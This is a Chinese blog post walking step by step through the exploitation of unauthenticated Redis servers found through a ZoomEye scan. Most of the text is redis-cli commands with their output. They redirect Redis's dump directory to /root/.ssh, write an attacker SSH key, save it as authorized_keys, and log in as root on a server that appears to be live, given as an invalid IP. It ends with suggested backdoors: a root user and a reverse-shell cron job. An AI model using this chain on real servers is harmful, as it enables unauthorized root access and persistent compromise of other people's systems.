layout | title | date | author | desc | tags | in_head | ||
---|---|---|---|---|---|---|---|---|
post
|
Redis未授权漏洞
|
2022-03-18 10:00:02 +0800
|
PFinal南丞
|
Redis未授权漏洞利用
|
|
<style> .article-content p{ text-indent: 2em; line-height: 1.75rem; }</style>
|
Redis未授权漏洞利用
在项目中使用Redis的时候经常会看到很多没有配置认证, 所以 利用 利用搜索引擎 Zoomeye 做了一个小工具来扫描 线上未授权 Redis 结果如下:
扫描的脚本:
尝试连接 Redis
对上面扫描的结果尝试连接:
root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
471.94.133.68:7000> keys *
能连接上,查看redis 的配置的数据备份目录:
471.94.133.68:7000> config get dir
1) "dir"
2) "/etc"
可以看到, 目前的配置文件是在 /etc
下,尝试切换一个目录:
471.94.133.68:7000> config set dir /root/.ssh
OK
471.94.133.68:7000> config get dir
1) "dir"
2) "/root/.ssh"
471.94.133.68:7000>
发现有权限可以把目录切换到 /root/.ssh
下,这样可以就可以最开心的玩起了.
开始上传 ssh key
首先获取本机的id_rsa.pub
:
root@0bee3a2311c3:~# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33N+bQhFaWTAAjzOpWjBmei676XR8Tfj1cnq79m8d4i1nvekNT5UA2tK6c1zxUfC9YibkkJPh+AMjiVpo79B6BN18b4YffdohD6zJCEfUfb8NG0CKOw08ny0DTSIlPfR+fxTtm8wCYKtB9qqzPoa7cKg8Se65Y/6RLzNkAhQFrMo/gzw8qTBO6dddBl7UOg0Q1FavpstpoAgvhdRN1dOD0XQkN25D2LrskZybYD8q8= root@0bee3a2311c3
然后把本机的key 写入到Redis
中:
-
首先把 key 处理一下 将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
-
然后把 key.txt 的内容写入到 redis中
cat key.txt | redis-cli -h 471.94.133.68 -p 7000 -x set crackit
-
查看一下是否写入成功:
root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000 471.94.133.68:7000> KEYS * 1) "crackit" 471.94.133.68:7000> get crackit "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33NavpstpoAgvhdRN1dOD0XQkNxMCAcNTfBIeyGWJzk2BQoGw/jC+CQ9R5I825D2LrskZybYD8q8= root@0bee3a2311c3\n\n\n\n" 471.94.133.68:7000>
-
因为前面已经设置了
Redis
的备份路径到/root/.ssh
下了,所以直接进行如下操作:471.94.133.68:7000> config set dbfilename authorized_keys OK 471.94.133.68:7000> config get dbfilename 1) "dbfilename" 2) "authorized_keys" 471.94.133.68:7000>
config set dbfilename authorized_keys
设置备份的数据库名称为authorized_keysconfig get dbfilename
查看数据库名是否正确设置 -
最后直接在
redis
中运行save
进行数据备份 就可以把 key 写入到服务器去:471.94.133.68:7000> save OK
-
大工告成,开启连接:
root@0bee3a2311c3:~# ssh root@471.94.133.68 Last login: Thu Mar 17 15:27:35 2022 from 58.246.249.182 Welcome to Alibaba Cloud Elastic Compute Service ! [root@0bee3a23~]#
预留后门
- 增加拥有
root
权限用户 - 增加反弹
shell
的定时任务 - ....
- ....
以上内容仅供学习与技术研究